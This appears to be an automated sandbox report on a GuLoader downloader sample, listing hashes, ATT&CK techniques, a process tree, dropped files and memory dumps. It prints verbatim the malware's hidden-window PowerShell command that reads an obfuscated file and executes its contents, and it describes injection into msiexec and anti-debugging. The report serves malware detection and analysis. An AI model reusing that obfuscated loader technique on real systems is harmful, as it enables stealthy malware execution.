guloader | 9a0160601325a3f1478b7248d8ba7b49fc90eb36fc518cc07533b49a89dbcae6

Analysis

max time kernel
140s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-11-2024 01:00

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General

Target

5fa128e617818eb6d70490ee47e4a8369e053fa5f7f7e79b982a120fe5bfe16d.exe
Size

687KB
MD5

0839190034df3cc414fa255d2283de3c
SHA1

ee691b6f85474654165db8ba8bfaee3ba1e536e0
SHA256

5fa128e617818eb6d70490ee47e4a8369e053fa5f7f7e79b982a120fe5bfe16d
SHA512

6f64f51cf8b428959a83e7e2da743faec564d9c71659a51696cea4f9bc5b70fc713a010dcf3d99de47534cabba39e9e9616a34ded6633b891ea7ea7f93127903
SSDEEP

12288:G0mnA1zcV/ErmWHObMmFPOeK5Wia8r9t3DSDb4NP:uA1zcMmJomFPs5We3ew5

Score

10^/10

guloader discovery downloader execution

Malware Config

Signatures

Guloader family
guloader
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2208 powershell.exe

Blocklisted process makes network request 9 IoCs

Processes:

msiexec.exe

flow	pid	process
21	1416	msiexec.exe
35	1416	msiexec.exe
36	1416	msiexec.exe
39	1416	msiexec.exe
40	1416	msiexec.exe
44	1416	msiexec.exe
45	1416	msiexec.exe
46	1416	msiexec.exe
47	1416	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid process

2208 powershell.exe
1416 msiexec.exe

Drops file in Windows directory 1 IoCs

Processes:

5fa128e617818eb6d70490ee47e4a8369e053fa5f7f7e79b982a120fe5bfe16d.exe

description	ioc	process
File opened for modification	C:\Windows\resources\0409\propangas.lem	5fa128e617818eb6d70490ee47e4a8369e053fa5f7f7e79b982a120fe5bfe16d.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exemsiexec.exe5fa128e617818eb6d70490ee47e4a8369e053fa5f7f7e79b982a120fe5bfe16d.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5fa128e617818eb6d70490ee47e4a8369e053fa5f7f7e79b982a120fe5bfe16d.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exe

pid	process
2208	powershell.exe
2208	powershell.exe
2208	powershell.exe
2208	powershell.exe
2208	powershell.exe
2208	powershell.exe
2208	powershell.exe
2208	powershell.exe
2208	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2208 powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

Processes:

powershell.exe

description	pid	process
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeIncreaseQuotaPrivilege	2208	powershell.exe
Token: SeSecurityPrivilege	2208	powershell.exe
Token: SeTakeOwnershipPrivilege	2208	powershell.exe
Token: SeLoadDriverPrivilege	2208	powershell.exe
Token: SeSystemProfilePrivilege	2208	powershell.exe
Token: SeSystemtimePrivilege	2208	powershell.exe
Token: SeProfSingleProcessPrivilege	2208	powershell.exe
Token: SeIncBasePriorityPrivilege	2208	powershell.exe
Token: SeCreatePagefilePrivilege	2208	powershell.exe
Token: SeBackupPrivilege	2208	powershell.exe
Token: SeRestorePrivilege	2208	powershell.exe
Token: SeShutdownPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeSystemEnvironmentPrivilege	2208	powershell.exe
Token: SeRemoteShutdownPrivilege	2208	powershell.exe
Token: SeUndockPrivilege	2208	powershell.exe
Token: SeManageVolumePrivilege	2208	powershell.exe
Token: 33	2208	powershell.exe
Token: 34	2208	powershell.exe
Token: 35	2208	powershell.exe
Token: 36	2208	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

5fa128e617818eb6d70490ee47e4a8369e053fa5f7f7e79b982a120fe5bfe16d.exepowershell.exe

description	pid	process	target process
PID 3712 wrote to memory of 2208	3712	5fa128e617818eb6d70490ee47e4a8369e053fa5f7f7e79b982a120fe5bfe16d.exe	powershell.exe
PID 3712 wrote to memory of 2208	3712	5fa128e617818eb6d70490ee47e4a8369e053fa5f7f7e79b982a120fe5bfe16d.exe	powershell.exe
PID 3712 wrote to memory of 2208	3712	5fa128e617818eb6d70490ee47e4a8369e053fa5f7f7e79b982a120fe5bfe16d.exe	powershell.exe
PID 2208 wrote to memory of 1416	2208	powershell.exe	msiexec.exe
PID 2208 wrote to memory of 1416	2208	powershell.exe	msiexec.exe
PID 2208 wrote to memory of 1416	2208	powershell.exe	msiexec.exe
PID 2208 wrote to memory of 1416	2208	powershell.exe	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\5fa128e617818eb6d70490ee47e4a8369e053fa5f7f7e79b982a120fe5bfe16d.exe
"C:\Users\Admin\AppData\Local\Temp\5fa128e617818eb6d70490ee47e4a8369e053fa5f7f7e79b982a120fe5bfe16d.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3712
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Priodont=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Bygsukkerets\Wanderlusts.Uto';$Astigmometer=$Priodont.SubString(54031,3);.$Astigmometer($Priodont)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:1416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Bygsukkerets\Wanderlusts.Uto

Filesize
52KB

MD5
97c0731e8a832706f3f157e89ce3999b

SHA1
8665ec5d2421bf666bd1bdc2b81876f582aa7a5d

SHA256
e7d18aee03c79a8a55e2f0fc47ad0693c0bd5ba584b879c82624b4c80946b432

SHA512
283ab18b29f488197daaeec4e7ddfc2b707e13c15c308c7f2b3b8bb492833e2a0bff70a5fe4ef5b2cce51830492785fc6c13a1eb69c60db39578dd5a39b78731

Download Submit
C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Topssmelt.Ska

Filesize
326KB

MD5
41a0aef818dae523435f54eb98ff88f9

SHA1
93da6f2ef2ab3bea4c73f20a2ebc7f95e6681f61

SHA256
61d60ca1a35c5bb84b9677fe0da44cda8ec2a59a2097d3dc3041d3539535ab5d

SHA512
654088bbf83b800b52d3a3a1497b39d739ed6af1c939f89e43233073d8fc3ba2bbec724400169504bbdfa3235eb69cc5b0b55638f3aa147e3998eb149c43f337

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x3ecm1c3.01b.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1416-69-0x0000000002260000-0x0000000003A2B000-memory.dmp

Filesize
23.8MB

Download
memory/1416-68-0x0000000001000000-0x0000000002254000-memory.dmp

Filesize
18.3MB

Download
memory/1416-67-0x0000000002260000-0x0000000003A2B000-memory.dmp

Filesize
23.8MB

Download
memory/2208-32-0x0000000006F10000-0x0000000006F42000-memory.dmp

Filesize
200KB

Download
memory/2208-48-0x0000000007080000-0x000000000708A000-memory.dmp

Filesize
40KB

Download
memory/2208-15-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-19-0x0000000005520000-0x0000000005874000-memory.dmp

Filesize
3.3MB

Download
memory/2208-24-0x0000000005AD0000-0x0000000005AEE000-memory.dmp

Filesize
120KB

Download
memory/2208-25-0x0000000005B70000-0x0000000005BBC000-memory.dmp

Filesize
304KB

Download
memory/2208-26-0x0000000006AA0000-0x0000000006B36000-memory.dmp

Filesize
600KB

Download
memory/2208-28-0x0000000006020000-0x0000000006042000-memory.dmp

Filesize
136KB

Download
memory/2208-27-0x0000000005FD0000-0x0000000005FEA000-memory.dmp

Filesize
104KB

Download
memory/2208-29-0x0000000007120000-0x00000000076C4000-memory.dmp

Filesize
5.6MB

Download
memory/2208-18-0x00000000054B0000-0x0000000005516000-memory.dmp

Filesize
408KB

Download
memory/2208-31-0x0000000007D50000-0x00000000083CA000-memory.dmp

Filesize
6.5MB

Download
memory/2208-33-0x000000006FAF0000-0x000000006FB3C000-memory.dmp

Filesize
304KB

Download
memory/2208-34-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-35-0x00000000700A0000-0x00000000703F4000-memory.dmp

Filesize
3.3MB

Download
memory/2208-45-0x0000000006EF0000-0x0000000006F0E000-memory.dmp

Filesize
120KB

Download
memory/2208-6-0x000000007366E000-0x000000007366F000-memory.dmp

Filesize
4KB

Download
memory/2208-46-0x0000000006F60000-0x0000000007003000-memory.dmp

Filesize
652KB

Download
memory/2208-47-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-17-0x00000000053D0000-0x0000000005436000-memory.dmp

Filesize
408KB

Download
memory/2208-49-0x00000000070C0000-0x00000000070EA000-memory.dmp

Filesize
168KB

Download
memory/2208-50-0x00000000070F0000-0x0000000007114000-memory.dmp

Filesize
144KB

Download
memory/2208-51-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-53-0x000000007366E000-0x000000007366F000-memory.dmp

Filesize
4KB

Download
memory/2208-54-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-55-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-16-0x0000000005330000-0x0000000005352000-memory.dmp

Filesize
136KB

Download
memory/2208-57-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-58-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-60-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-59-0x00000000083D0000-0x0000000009B9B000-memory.dmp

Filesize
23.8MB

Download
memory/2208-61-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-62-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-64-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-65-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-66-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-8-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/2208-9-0x0000000004D00000-0x0000000005328000-memory.dmp

Filesize
6.2MB

Download
memory/2208-7-0x0000000002230000-0x0000000002266000-memory.dmp

Filesize
216KB

Download